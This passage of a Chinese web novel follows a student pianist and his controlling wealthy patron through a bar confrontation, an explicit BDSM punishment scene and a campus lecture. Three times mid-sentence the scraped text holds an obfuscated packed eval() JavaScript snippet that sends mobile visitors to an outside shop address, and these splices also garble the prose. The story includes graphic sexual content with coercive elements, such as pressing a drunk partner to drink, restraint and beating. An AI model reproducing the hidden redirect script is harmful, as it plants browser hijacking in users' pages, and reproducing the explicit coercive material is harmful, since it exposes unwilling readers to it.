付飞一头雾水,等他往后转头看到陆诏那尊大佛的时候,虞清念已经低着头站在人面前了。 “…哥。”一身炫酷打扮的虞清念站在人面前跟鹌鹑一样乖巧叫人,垂着头只能看见陆诏的裤脚和鞋尖。 陆诏单手撑在沙发上,侧过头从上到下打量着虞清念的这身装扮,从快开到胸口的透肉网纱上衣,到破洞几乎要露出大腿内侧软肉的牛仔裤,撕裂的裤子布料内大腿白到晃眼,给了人很多遐想。 这是之前在虞清念身上绝对不会看到的打扮。 视线像是冷火焰,表面是冷的,但又像火焰般舔舐过虞清念身上的每一寸肌肤,他生出些无措,脚趾在鞋子里蜷缩,攥着外套的下摆拉链搓动,衣服脱了也不是,穿着也不是。 “坐。”低沉偏向金属感的声音让虞清念抖了一下,他从善如流坐在陆诏旁边的位置,腰背挺直像是等待老师上课提问的小学生。 陆诏大手拢住桌上的一杯鸡尾酒,“咚”一声放到虞清念面前。 【我在你后面卡座,想我了过来和我碰一杯。】 回忆起陆诏的提示,虞清念颤着手端起那杯颜色如冰红茶般漂亮的酒,双手捧着跟男人手里的酒杯碰了一下,满杯液体摇晃,漫过杯口的柠檬角,洒出来一些,滴在了他的牛仔裤上。 陆诏深邃的眼睛在昏暗迷醉的酒吧灯光下更令人看不透,他对着那杯酒抬了抬下巴,视线落到虞清念写满紧张的脸上。 看起来清爽的酒一入口也是柠檬和可乐混合的味道,但虞清念刚刚就喝了不少,即使面前这杯入口性再好,他也喝不下太多,杯子里还剩一半液体的时候,他就用求饶的目光看向陆诏,湿润的嘴唇沾上酒水显得透亮欲滴。 “敬别人酒还喝不完,太没有礼貌了念念。”男人没那么体贴,“你要想等冰化了喝更多,可以等。” 上官旭在一旁看着这小孩瞪着那双大眼睛可怜兮兮求饶的模样,都想替他说两句话。不管他是怎么惹到陆诏的,那杯长岛冰茶全喝完,酒量再好的人都没办法完全清醒走出酒吧。 但一听念念这名字,立马打消了念头。 他和陆诏从小认识一起长大,对方对情情爱爱的相当不感冒,唯一谈过一段就是他们都知道的初恋,后来陆诏家权力变动,那个初恋放弃陆诏出国,然后就没见过他身边有什么人,直到几年前,念念宝贝横空出世,送的打火机连碰都不让别人碰一下,跟眼珠子一样护着,根本不带出来见人,他们都对这个能拿捏陆诏的人非常好奇,纵使他从来没见过本人,但也不免听说过许许多多圈子里关于这个念念宝贝的传说。 比如前几个月把生物科技老总的儿子敲破了头,半夜拉到急诊,当时陆诏正在和上官旭一起给他姐姐过生日,接到电话就开车走了,连生日蛋糕都没吃上一口。 他姐上官雪一脸奇怪,陆诏一向稳重的人怎么会那么匆忙。 上官旭坏笑道:“去找他心爱的宝贝了呗。” “小郁回国了?”上官雪问。 “不是,是新的,更宝贝的。” 他们一圈一起玩的,因为将来大多都要继承家业,所以能玩的时间也就几年,所以一个比一个玩的荒唐,私生活都不太干净,家里人都拿陆诏当标杆来教育他们,说看看陆诏再看看你们,像什么样子。 但完美的别人家孩子陆诏荒唐起来,他们也难以望其项背,就打生物科技老总儿子的事,听说当时虞清念就是不道歉,调解失败,扬言就是看他不爽,想打。 生物科技老总看在陆诏的面子上敢怒不敢言,自家孩子被打了还得从自己身上找原因去道歉,说孩子被惯坏了惹到虞清念,是他这个做家长的问题。 当时陆诏是怎么说的?他说对,念念那么乖,怎么不打别人就打你呢? 陆诏在拍卖场上豪掷千金买珠宝买手表哄人开心的事,也令他们大跌眼镜,能把陆诏那样一个冷心冷清的死人脸变成恋爱脑,他是不敢掺和这两个人之间的事,说不准战火就烧到自己身上, 不过长了这样一张乖的不得了的漂亮脸蛋,那些鸡飞狗跳作天作地的事真能是他干的吗?上官旭表示怀疑。 虞清念捧着杯子左右为难,他真的喝不下了,本来就是打算去卫生间才穿外套的,结果刚穿上外套看见手机消息就过来了,身体里液体太多,他的脚趾微微蜷缩处于一种忍耐状态,但现在又不敢说,怕再惹到陆诏。 “念,什么时候回去?”付飞不知何时从背后出现,像是才看见对面人一样,用充满惊讶的语气说,“呀!陆总也在这儿,那么巧。” “我朋友酒吧开业,想拍点宣传照片,所以让小虞穿得帅一点来拍几张,我们马上就打算走了。”付飞短短几句话就替虞清念打了掩护,但他没料到虞清念跟人家说的是在家弹琴。 陆诏没在熟人面前下虞清念面子,把他手里的酒杯抽出来放在了一旁,抬手搂住少年肩膀,确认道:“穿成这样是要拍宣传照片?” 刚刚喝过的酒突然起劲,虞清念上一秒还清醒,下一秒大脑像是被一团白雾笼罩,迷迷糊糊点头,靠在男人臂弯里,因为醉酒重重喘息,脸颊漫上红晕。 “我想…去卫生间。”他攀着陆诏的手臂小声说,外套在动作间滑到肩膀,露出清瘦白皙的的肩头。 陆诏不动声色帮他把衣服提上去,说:“我陪你。” “不!不用了…我又不想去了。”虞清念吓得清醒了几分,摇摇头拒绝。酒精在血液里流淌,送到全身每一寸经络,他全身发软,原本就漂亮的眼睛水盈盈望着陆诏。 一张冷峻锐利的成熟面孔,骨相优越、五官立体冷冽,举手投足间尽是侵略性的掌控感,但眉眼间融合了酒色的性感让人忍不住贴近去一探究竟,这样不动如山的人,特别能激起挑战欲。 想把他惹生气,看冰山爆发喷出火热岩浆的反差感,想看他惩罚自己时产生的情感波动和不再自持,想看他陷入情欲不再绅士的粗暴张扬,想让他因为自己而改变,剥开那层斯文败类的西装,和自己一起沉入凡人的天堂。 在暧昧音乐和酒精的加持下,虞清念头脑发热,勾住人的脖子就想凑上去接吻。 陆诏按住他的头,帮少年把外套拉好,搂腰直接抱了起来。 “我们有事先走了。” 付飞见状连忙喊道:“念,你买的礼物还在我车里,记得拿!” 陆诏抱着虞清念消失在视线中,付飞松了一口气,也不知道虞清念能不能听懂他的暗示,拿礼物堵住陆诏的嘴。 他翘起腿靠在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154652|196528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沙发里,不经意瞥到刚刚那个坐在陆诏旁边的男人,斯文内敛但眼神又充满野性,只看了一眼就觉得很合自己胃口。 他承认有部分人来酒吧只是为了喝酒,但大多数人还是和他一样,来猎艳的。 “你好,我叫付飞。”他伸出手,挑了挑眉。 上官旭同样一眼就看出对方是同道中人,两人目光相对,什么也没说,但电光火石间什么都知道了。 他伸出手跟付飞交握,眼神闪动,“上官旭,楼上夜景不错,要不要一起去看看?” ———— 黑夜中一辆低调的黑色跑车穿过城市的喧嚣,逐渐进入人烟稀少的近郊别墅区,外面成排的树木被风吹出张牙舞爪的形状,虞清念坐在副驾驶,捧着一束鲜花一个劲往陆诏身上凑。 “专门买了送给你的!不要生气了,我不是故意骗你的嘛。”他的头发被风吹乱了,眼巴巴抱着芬芳馥郁的花想引起身边人的关注,“这不是怕你不让我去酒吧所以才瞒着你的,我就是去、去帮酒吧老板拍宣传照,这个衣服不是我想穿的,真的!” “而且你也去酒吧了!说什么晚上应酬不能陪我,你明明也在骗人。”虞清念喝了酒本来就晕晕的,陆诏还不理人,他越说越觉得自己有理,鼓起脸抽出一支玫瑰扔到陆诏身上,“你不能这样,我下午还去给你买礼物了呢!再不理我不给你了!” 陆诏单手握着方向盘,油门被他踩的轰隆隆响,分出一只手把差点扔到自己脸上的玫瑰花收起来,终于给了虞清念一个眼神:“宣传照片,你确定对吧?” “对…对啊!我那么帅,很符合调性。”虞清念有些心虚但还是逞强。 车子开进大门,停到一幢三层小洋楼前。 陆诏抽出手机递到虞清念面前,上面是一串手机号码。 “你知道我今晚为什么去酒吧吗?”陆诏低头解开自己和虞清念的安全带扣,“这是酒吧宣传营销的总负责人,我和他聊了一晚上,怎么没听说有请模特拍宣传照片的事?” “是不是他忘了讲,念念打电话帮我问问?”黑漆漆的眼睛盯着虞清念,平静无波的语气让人越是害怕。 虞清念的酒彻底醒了,他本想着先糊弄过去,反正付飞和老板是朋友,之后拜托他统一好口径就是了,谁想得到就那么凑巧,现在打电话过去肯定会露馅的…… 门前的灯映照进车子里,陆诏的脸一半在光中,一半在黑暗里,他抬手摸了摸虞清念的脸,语气不明道:“一个谎接着一个谎,到底哪句是真的?我说过,骗我是你有本事,被我发现不行,你说你怎么总是那么不小心,嗯?” 发脾气是被允许的,偶尔不听话是情趣,故意勾引也只是小打小闹,但是在陆诏这里,被骗是不能容忍的。 虞清念靠在椅背上,呼吸间都是恐惧,静谧的环境放大了心中的恐惧,当陆诏倾身过来勾住他的腿弯把人抱起时,他才像终于反应过来一般死死抓住车门摇头求饶:“不要…别生气,呜我错了我真的知道错了,不要——” 身量纤细的少年在陆诏手里像是抱玩偶一般轻松,虞清念踢着小腿一路挣扎,好话软话说尽了求陆诏放过他也没能从人身上下来。 房子大门打开,陆诏直接抱他进了电梯,对着外面的管家和佣人说:“你们下去吧,晚上没什么事不用过来。” 虞清念身体一颤,扒着电梯门不放,被强制掰开手指收拢到陆诏手中,他单手抱着虞清念稳稳当当朝卧室走去,另一只手抓住少年胡乱挥舞挣扎的手腕对在一起,沉声说:“乖一点。” “扑通”一声,虞清念被扔在柔软宽大的床上,他的脑袋栽进被子里,听着逐渐靠近的脚步声,瑟缩着往里面爬。 8. 第 8 章 虞清念穿着粉白色的蕾丝短裙弯着腿坐在地毯上,蓬松的头发上戴了两只毛绒绒的猫耳发夹,花边围裙挡住腿间风光,只能看见白色透肤的过膝腿袜勒在中间,像是奶油般盈润的腿肉上留下一圈红痕。 他并拢着膝盖坐得端正,双手按在大腿上,微垂下头,修长光洁的肩颈露在外面,仔细看去可以发现表面皮肤上不知受了什么刺激,布满细密的鸡皮疙瘩,圆润的肩头时不时往上耸起,又打着细颤落回。 包裹在丝袜里的脚趾压在底下,蜷起又猛地张开,空气中只有少年逐渐加重的呼吸声。 虞清念努力忍耐克制,眼睛一再瞥过床头的遥控器,忍过一阵细小的抽搐,发出一声泣音。 陆诏坐在床边,双腿分开,从盒子里缓缓拿出虞清念送他的礼物。 黑色的皮带在他手里漫不经心展开、拉直,金属皮带扣在空中发出“啪”的一声,虞清念条件反射般往旁边躲了一下,蓬松的短发在空中扬起又下落。 陆诏看他这个样子,嘴角弯起,捏着对折起来的皮带抵在少年下巴上,往上抬起。 水灵灵的眼睛里弥漫着雾气,虞清念仰着小脸,满是畏惧,摆出一副可怜委屈的表情望着人,突然一个仰头,睫毛快速颤抖,整个人跪在原地上下弹动,张开嘴巴发出无声的喊叫。 他攥紧了裙摆,曈光涣散,隐隐又有翻白眼的迹象,嘴里反复央求着:“调小一点…求你、求你呜呜!” 陆诏低头欣赏了一会儿漂亮男孩乱成一团的表情,深灰色的真丝睡衣被锁骨撑出一道痕迹,他弯下腰,后背的肌肉轮廓贴在睡衣上显现而出,宽肩笼罩下一片阴影,把少年完全覆盖其中。 皮带被拎着中间位置垂在半空中,银色的金属扣随着手的移动晃来晃去。 “你能抓到,就听你的。”暗含兴味的低语从高处传来,陆诏双腿分开,以绝对放松的姿势坐在床上,望向坐在自己两腿之间空地上的少年,宽松的真丝睡衣替他卸去了平日的严肃板正,增添了几分慵懒随性。 虞清念喘了几口气,手指攥紧裙摆,仰头望向男人手中垂下的皮带扣,是他伸直胳膊能够到的距离。 柔软的长毛地毯坐上去并不会觉得痛,虞清念仰起头捕捉皮带扣运动的轨迹,猫耳朵随之摇晃,猛地一伸手,上半身往上耸起,但光滑冰凉的金属扣只是被触碰到一个边角,就很快移开。 金属铃铛在动作间晃出清脆的声响。 “呜……”虞清念发出挫败的哼声,衣袖上的蕾丝飘带蝴蝶散开垂落在地毯上。 他朝地毯上小小锤了一拳,聚精会神仰头盯着悬在上方的皮带,黑白分明的眼睛左右不停转动,抿着嘴严肃又认真。 陆诏故意放低了位置引人上钩,等虞清念伸出手才慢慢抬高皮带扣。 专心致志盯着眼前物的少年没有意识到这是一场陷阱,努力伸长胳膊去够,甚至一只手扯住陆诏的裤脚借力,屁股从腿上抬起来,挺直了身子去扑那个皮带扣,像是小猫扑蝴蝶。 飞跃而起的粉白色衣裙带着青苹果的香气扑了陆诏满腿,清瘦的胳膊压在他的大腿上,虞清念整个趴到他的怀里努力伸长手指追寻那个总是差一厘米就能碰到的冰凉金属,在即将力竭的前一刻,皮带被抬高无情抽走。 虞清念哭了一声,无力跌落在地,岂料虽然地上铺了柔软地毯,重新坐回去时也产生了巨大的冲击。被吊带袜包裹的腿猛地并紧,他脸贴在男人裤脚旁边浑身颤抖不止,半天没爬起来。 “好可惜。”温柔又隐约带着遗憾的声音在头顶响起,陆诏捞起床头的空调遥控器,又调高了两度。 压抑的哭声瞬间变得尖锐,虞清念疯狂抓挠着地毯,脸色骤然变红,十根脚趾已经完全变形蜷缩在脚底。缩成一团的身体来回弹动颤抖,抽泣尖叫的声音根本压制不住。 漂亮的蕾丝裙摆由于抖动朝上翻起,像是波浪一般起起伏伏,快要抽搐的小腿交叠在一起不停拍打着地面。镶嵌了蓝宝石的圆形底座严丝合缝,在卧室灯光的的照耀下反射出璀璨晶莹的光芒。 陆诏垂手摸了摸他的头上的耳朵,淡淡道:“敢把地毯弄脏,你试试看。” 粉白色的蕾丝薄纱摊开在纯白的地毯上,像是蝴蝶翅膀一般扇动颤抖,许久才停,黑色的皮带穿过层层叠叠的蕾丝,最终扣紧。 “错在哪儿,嗯?”陆诏用虎口卡住虞清念的下巴往后扭转,黑色的眼睛像是能摄人心魄。 少年两条胳膊朝后拉直,后背反弓,跪在床上的膝盖泛起红晕,在完全不能思考的情况下还要把自己犯的错一条条说清楚,哭得口齿不清又是一条反省不认真的错。 “呜呜——我错了,不该偷偷跑去喝酒,不该撒谎骗你……”他扯着床单想跑,刚刚离开几步就又被抓着脚腕拖了回去,哭声更重了几分,“不要!我不敢了…求求你真的不敢了——” 对面墙上的时钟不知转动过几圈。 垂下床角的布料花边摇晃停止,响个不停的皮带划风声也消散,被从床上扔下来,金属皮带扣落地一声响。 陆诏靠在床头,往上撩了一把微微汗湿的头发,打火机啪的一声点燃一支烟,在明灭的火光中,他垂手摸了摸虞清念柔软泛红的脸颊,对方睁着失神的双眼正呆呆望着天花板,感受到熟悉的体温,无意识对着伸过来的手心蹭了蹭。 睫毛簌簌扇动,滑过手心时带来似有似无的痒意。 陆诏夹住烟,慢慢吐出一个烟圈,窗外一片漆黑,灯光也黯淡,只剩下那支烟时明时灭。 他低头看去,虞清念半睁着眼,眼中带着掺杂了怯意的讨好,凑近了去吻他的手指。指节伸入一寸,粉红的舌头就吐出一点,两根修长的手指插进去一半,凸起骨节撑得少年嘴角圆圆,他半撑起身体,更好地把手指含入口里,薄被从身上滑落,露出布满星星点点的白皙肌肤。 柔软湿热的舌头缠着手指乖顺舔舐,陆诏咬住烟,深吸一口,尼古丁过肺的快感和指尖的触感混在一起,分不清哪一处更爽。 陆诏对着虞清念带着指痕的脸蛋吐出一口烟,原本圆润明亮的眼睛瞬间盈满泪水,他含着手指不敢咳,眼眶粉红湿润,泪水要落不落楚楚可怜,在朦胧的烟雾中,眼睛像是欧根纱笼罩下泛着光泽的两颗黑珍珠。 含不住的涎水顺着指根的位置往下淌,陆诏缓慢抽出手指,两指分开,拉出一条晶莹的水线。 口水顺着修长笔直的手指流到掌心,陆诏垂眼看了看,抬手对着虞清念的脸颊上拍去。 本以为力道会重,虞清念在他抬手的那一刻就绷紧了身体,眼睛闭上紧张不已,浓密的睫毛簌簌颤抖。 但预想中的事情没有发生。 虞清念睁开眼睛,后颈发麻,望着近在咫尺的手掌,像猫一般伸出舌尖舔去掌心的水液,舌尖与手心相触的时候,他抬起眼睛去观察陆诏的神色,顿了几秒后才伸长舌头。 陆诏任他舔着,而后盖住他脸上的淡红色指痕,把覆盖了一层水光的手指贴在他脸上缓慢擦干净。 “就喜欢这样,不然没办法当乖孩子,是不是?”低沉性感的声音在少年耳边响起,在夜色中令人头脑发酥。 虞清念被捏着下巴往上抬,呼吸又急促起来,带着淡淡哭腔哼唧抵赖。 “嗯?”陆诏并不好糊弄,拇指按在白皙的下巴上,留下淡红色指痕,望向虞清念的眼睛深沉。 “……啊——!”坠在身上不停响的铃铛夹子被拽长,虞清念顺着力道不自觉往上挺身,企图缓解疼痛,急促喘息道,“是——是……” 陆诏这个人,出手大方长得也好,平时只要不触犯他的底线,怎么闹都没关系,他甚至会喜欢虞清念偶尔的小脾气,除了控制欲强一点,总的来说是个可遇不可求的金主。 但在某些地方,他是个极其难伺候的人,规矩大的很欲望又强,癖好十分恶劣,跟平时冷淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154653|196528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯文的样子完全不同,掌控欲在这个地方发挥到极致,一点点令他不满意的反应都会受到惩罚,喜欢看人崩溃、喜欢看人哭,所以纵使虞清念在平时作天作地各种惹人生气,但到现在为止还是很怕看到陆诏真的冷脸,他从来都知道那条界限在哪里,情趣般的玩闹和真的做错事受到的对待是不一样的。 在外面虞清念是陆诏捧在手心里的珍珠,光鲜亮丽履历生辉的钢琴天才、艺术殿堂明珠,在床上陆诏让他伸舌头他都不敢把嘴闭上,所有犯的错误都会在床上被好好管教,他完全不敢在这上面惹到陆诏,不然怎么哭怎么求饶都没用。 陆诏用指根夹住烟,反手掂着小铃铛来回晃,小臂上的肌肉线条紧致又流畅,冒着火星的烟头在距离虞清念皮肤几寸的位置,带来淡淡的灼热。 他漫不经心问:“所以花费时间管教你,要说什么?” 虞清念生怕被烟头烫到,身体紧绷想往后缩,却又怕自己的动作惹人不高兴,努力用理智和生理做斗争,颤抖着声音说: “谢谢…” 陆诏两指圈起对着小铃铛弹了一下,“称呼呢?” 粉色蝴蝶结缀在肩膀处,少年身上的薄红还没完全褪去,又因为这个弹动抖了好久,颤颤巍巍开口:“Thank you……daddy.” “乖。”陆诏摸了摸他的耳朵。 等他回过神,被陆诏托起后颈喂了些温水,头上的猫耳朵被摘下来,掉到手肘的裙子吊带被换成了舒服柔软的睡衣,昭示着今天的游戏已经结束。 陆诏搂住少年纤细的身体,在他后背上轻轻拍打。 小范围照亮空间的壁灯让床头生出些许温馨的感觉,虞清念缓了好久才平复好呼吸,抱住陆诏的手臂,靠在人肩膀上,朝上转动眼睛望着那根燃烧到一半的烟,软声委屈说:“我真的知道错了…会乖的,刚刚好凶——” 略带谴责的话却是用撒娇的语气说出的,少年穿着宽大的睡衣,露出来的脖颈皮肤上都是男人留下的痕迹,被过分对待后也丝毫没有生气的迹象,反而粘在陆诏身上,仿佛他才是安全感的来源和庇护所。 “刚才我有哪个行为,让你不舒服吗?”陆诏问,语气认真。 虞清念回想了一下,手指搅动着被角缓慢开口:“把那个套在我脖子上的时候……”他有点害羞,眼睛看向一边不敢和陆诏对视。 “我感觉那一刻我不属于我自己了…本来以为会不舒服,但是、但是…” 陆诏一手撑在少年身边,精准道出了他说不出口的感受:“你喜欢。” 虞清念抠着床单,缓慢点头,眼中有慌乱和躲闪。 陆诏轻轻摸了摸他的头,语气温和,“没关系,我很高兴你能对我诚实,这不是什么说不出口的事,我的喜好说出来同样也不能被大多数人接受,不是吗?喜好与人格无关。” 虞清念的不自在缓解了一些,床头柑橘调的香薰散开令人放松的味道,他抱住陆诏的小臂拽到自己面前,眼巴巴望着燃烧的烟,小心翼翼问:“我可不可以试一下?” 少年长了一张格外清纯的乖乖牌脸,抱着人胳膊微微张着嘴想去含烟的时候,有种好学生误入歧途的禁忌荒谬感。 陆诏手腕一转,把剩下一半的烟头掐灭。 “这不是乖孩子该干的事。”他淡淡道。 虞清念扁嘴,放开他的手臂,哼了一声,转而抱住被子一角,垂下睫毛,一副倔强又坚持的模样,米白色的睡衣上还有小熊的卡通图案,衬得他整个人柔软又幼稚,生气的表情注入了鲜活生动的色彩。 陆诏轻笑了一声,觉得可爱,捏住他脸颊上的一小团软肉朝外扯了扯。 少年还是不理,朝旁边偏过头。 小巧精致的下巴被扣住,陆诏低下头来,和他交换了一个带着淡淡烟草味的吻。濡湿的舌尖慢慢纠缠在一起,虞清念在和人的缠绵湿吻中,第一次品尝到了烟是什么味道的。 9. 第 9 章 自从虞清念获得奥利兹金奖回学校以来,院里就一直想办一个沙龙讲座,请虞清念为学弟学妹们讲讲比赛事项,以及平常练琴演奏的技巧,金奖得主荣归母校,怎么也得给学校宣传一下。 他本来不太想去的,但陆诏最近好像没什么事,要待在家里,虞清念怕他继续和自己算账,当机立断决定他要去学校!一定要去学校!他热爱学校! 虽然作为s大这一届最出名的学生,虞清念平时来学校的次数却没那么多,一是因为他已经大四了没多少课要上,二是因为他不住宿舍。 之前刚上大一课多的时候,他其实是住过一段时间的,当时司机管家搬着他的东西进宿舍,第一面就震慑住了同寝室的其他三个人。 刚上大学的男生正是忙着和父母划清界限彰显自己独立的时候,他们正在忙里忙外收拾床铺安置物品,热得满头大汗,一身白色经典款运动装的虞清念就飘然出现在门外,连带着浑身健壮身材魁梧替他搬东西的司机,以及面带慈祥正给他拧瓶盖递水的陈管家。 当时他妈妈在重症监护室没挺过去术后并发症,最终还是去世了,陆诏又在国外有个峰会要开,实在抽不出身,只能派陈管家送他来上学。 家里房子太大太空,一个人住怕虞清念又想不开,所以干脆让他融入同龄人,住宿舍跟人说说话说不定会好一些。 陆诏的担心不无道理,从得知母亲去世到开学进寝室,虞清念整个人都是飘起来的状态,他一直在想,要是他再快一点想通,再快一点放下尊严把自己卖了,别放不下钢琴,别执着于寻找真相,是不是母亲就能得到及时有效的医治,说不定就不会死了。 他就这样神游天外进入学校一周,像是不食人间烟火的高冷仙,连舍友的脸都没认全。但关于那个被不同豪车接送十指不沾阳春水的大少爷,那个连纸巾盒都要用奢侈品一双鞋六位数的富二代,已经被音乐学院传的神乎其神。别人以为他是高冷目无下尘,其实他只是在发呆后悔;别人以为他是在炫富非奢侈品不用,其实只是因为他不想花自己的钱买日用品,所以什么都从家里薅让陆诏买。 他需要一个纸巾盒,自己买需要花二十块钱,在和陆诏逛街的时候随手拿来配货就是分毫不花,他是傻子才自己从超市买。 仅仅只是这些,还不够令人惊讶。陆诏回来之后,往虞清念身上砸了不少金钱和资源,各个国际赛事的入场券、各种大师的课程,能用钱解决的一切阻碍都被推平,虞清念要做的就是弹琴,只是弹琴。 家庭一夜被摧毁的悲伤,上流社会纸醉金迷的令人神往,左右为难深陷泥沼的迷茫,青云直上佛挡杀佛的勇往,全都在琴声里。 他在家里琴房弹,在学校弹,在大剧院弹,在维也纳弹,手中的黑白琴键成为他走向金色殿堂的阶梯,成为他表达自己抒发情绪的利剑,等虞清念一回头,发现自己已经走到了之前想都不敢想,连做梦都不敢梦的地方。 今天的讲座来了不少人,下面黑压压坐了一片,虞清念早就对这样的场合很适应,丝毫都没有紧张。 他今天早上的头发被陆诏亲手用发泥抓过,对称有型的纹理令五官都多了几分精致,当他对着话筒介绍完自己名字的时候,全场响起了热烈的掌声和尖叫。 虞清念眉头微抬,嘴角漾开浅浅的笑容,顿时学生们的反响更激烈了。 “虞学长怎么那么帅,我服了,那么厉害还那么帅。” “他笑起来的时候有酒窝!你有没有看到啊!” “不是,这是讲座不是明星见面会,你们女生能不能有点……我去他那双鞋,联名限定款,我的梦中情鞋!” 台下人心里想的最多的一句话就是:怎么会有那么完美的璀璨的遥不可及的人。 虞清念按照自己提前写好的大纲讲了一些关于学业和比赛的事情,大家都听的很认真,他时不时会开一些玩笑活跃气氛,并没有想象中那么难接近和高冷,最后来到了提问环节,大家可以提一些自己关于学业上或者生活中的疑惑,让虞清念解答。 台下一个学生举手提问,话筒对准了他的方向:“我想问一下学长,怎么看待天赋一词,尤其是艺术领域,是不是再多努力都比不上与生俱来的天赋。” 虞清念双手交叉放在桌子上,对他的问题思考了片刻,然后开口:“比起天赋,我更相信天道酬勤。”他看向这个男生的方向。 “有些东西是我们无法改变的,就像你说的天赋,我认为我们应该做的是寻找自己能改变的,然后付出努力,如果只是想着自己比不上那些天赋高的人郁郁寡欢,那么不用上天放弃,自己就已经放弃了自己。” “学长,我觉得音乐道路是苦的,尤其是古典乐,我们在这条道路上走了十多年,但按目前的就业形势,我们很可能得不到一个想要的工作,那么如何调整心态呢?” 虞清念看向提问者,语气未变,只是目光变得锋利,“这要看你把音乐看作什么,如果是无法割舍的热爱,那么就要跨过障碍,牺牲一些东西来成全热爱,如果是谋生的手段、打造光环的工具,目前来说它的确没有那么大的实用性。” 正经又不会过分严肃的回答很有力量,只是后面提问的画风逐渐偏移了轨道。 “我想问一下学长有没有对象,择偶标准是什么?” 虞清念拿话筒的手微微一顿,轻笑道:“私人问题,不方便回答。” 随着台下遗憾的呼声,本次讲座结束,不少人想来加虞清念的微信,面对众多的带着期望的眼睛,虞清念双手插兜语气温柔,话却不甚温柔:“不好意思,我不用微信。”圆圆下垂的眼睛清澈,但里面含的不是水而是凝固的冰。 周围人明显一愣,想不通这个年代怎么可能会有人不用微信,又想起别人评价校草虞清念用的是温柔冷一词,看起来温和好接近,其实离你千里之外。 正待他们想直接问电话号码的时候,音乐学院院长把虞清念拉走,跟他谈下午参加学术沙龙的事,就在学校学术报告厅,是关于AI协奏主题的。 虞清念看了一眼表,距离上一次给陆诏发消息是两个小时之前,他发了个学校的定位过去,算是按时汇报行踪了。 下午太阳西移,虞清念来到学术报告厅,却突然想起来忘了问院长是在哪个厅,刚拿出手机来问,面前就出现了不速之客。 “虞清念,你怎么会在这儿。”看他徘徊在门口不进去,那人上下打量了一下说:“你不会是想进去蹭张会议照片维持学术人设,结果没邀请函进不去吧?” 他就说!虞清念那些在顶级演奏厅、高端学术场所的照片都是哪来的!肯定都是摆拍的! 前几个月被打破头的王孝龙重出江湖,脾气分毫不改,虞清念看见他那张欠揍的脸就想上去冷不丁梆梆就两拳,袖子挽上去露出了表带,王孝龙看了一眼就说:“买假货也要有点脑子吧,那么多水钻也不怕晃着眼睛。” 他和虞清念的恩怨,要追溯到高中时期,当时以王孝龙为首的有个小团体,家里有权有势自命不凡,看流星花园上瘾也组了个f4,天天正事不干就知道欺男霸女,当时虞清念转学来,虞父的生意还没有做到很大,在海城没有站稳脚跟,偏偏虞清念一进学校就展现出了惊人的天赋和实力,收割全市奖项和学校第一宝座,给这些天天被捧着自以为有音乐天赋的少爷们上了一课。 再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154654|196528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加上虞父生意扩大总会有竞争,他和王孝龙父亲看上同一块地参与竞标,成功中标。 王孝龙的父亲在生意上落人一步,去学校开家长会又看见虞清念爸爸作为优秀学生家长发言,回去狠狠骂了王孝龙一顿,于是这两个人的梁子就结下了。 作为见识过虞清念初始形态的人,王孝龙对虞清念的情况知根知底,几年前他父亲公司出问题,然后父母都去世了,欠了那么多债,他可是亲自去落井下石过的,见过对方低贱到泥里的样子,他十分看不上虞清念还在这里装什么别人高攀不上的高冷男神,他反正一点都不信,其他人都没长脑子吧。 还是一次偶然的机会,他看见表妹朋友圈转发的二手奢侈品店宣传,点进一看,虞清念还点了赞,当时王孝龙就醍醐灌顶。 他还一直在想虞清念没爹没妈失去依仗,是怎么在学校维持顶尖富二代男神人设,原来都是买二手买假货维持样子罢了,跟那些拼下午茶拼豪车拍照的所谓名流没什么两样,当即他就气顺了。 上次遇到虞清念,他嘲讽了几句对方父亲,结果被虞清念把头打破了,一向宠爱自己的父亲那次竟然不帮着自己,他要虞清念给自己磕头道歉,结果却被他爸按着头给对方认错,气的他住了好几个月的院才出来。他实在想不通就凭小小虞清念,他爸究竟在怕些什么。 就是会装罢了,谁不会啊! 以为看透一切的王孝龙想扬眉吐气,拎着虞清念的衣领说:“哟,还穿miumiu呢?哪买的?杭州四季青?”他才出院就急忙参加这次学术论坛,因为这是他好不容易才争取到的机会,AI协奏是行业的前端领域,会有很多知名的行业大拿前来。 人心中的成见足以影响个人判断,他从心里就看不起这个曾经给自己提鞋都不配的虞清念,所以对方一举一动他都觉得是在装。 会议快要开始了,门口的人流并没有之前那么密集,虞清念冷冷说:“你是不是住院没住够?” 他扫过放在旁边桌上的一排玻璃水瓶,心中默念要冷静。 